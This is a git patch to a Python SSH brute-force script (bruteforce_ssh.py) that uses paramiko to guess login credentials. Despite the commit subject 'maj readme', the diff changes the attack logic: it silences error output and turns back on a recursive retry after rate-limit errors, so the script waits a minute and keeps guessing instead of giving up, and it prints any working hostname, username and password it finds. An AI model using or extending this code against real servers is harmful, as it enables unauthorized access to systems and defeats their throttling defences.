From f0b9a0925eb3dea7fcfb8fd86dc71ef161f91b68 Mon Sep 17 00:00:00 2001 From: greglebreton Date: Wed, 9 Nov 2022 11:34:13 +0100 Subject: [PATCH] maj readme --- bruteforce_ssh.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bruteforce_ssh.py b/bruteforce_ssh.py index 12c2d82..8d8f670 100644 --- a/bruteforce_ssh.py +++ b/bruteforce_ssh.py @@ -29,12 +29,12 @@ def is_ssh_open(hostname, username, password): returning = False except paramiko.SSHException as err: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") - print(f"{RED}{username}:{password}{RESET}") - print(f"{RED}{err}{RESET}") + # print(f"{RED}{username}:{password}{RESET}") + # print(f"{RED}{err}{RESET}") # sleep for a minute time.sleep(60) - #returning = is_ssh_open(hostname, username, password) - returning = False + returning = is_ssh_open(hostname, username, password) + # returning = False else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")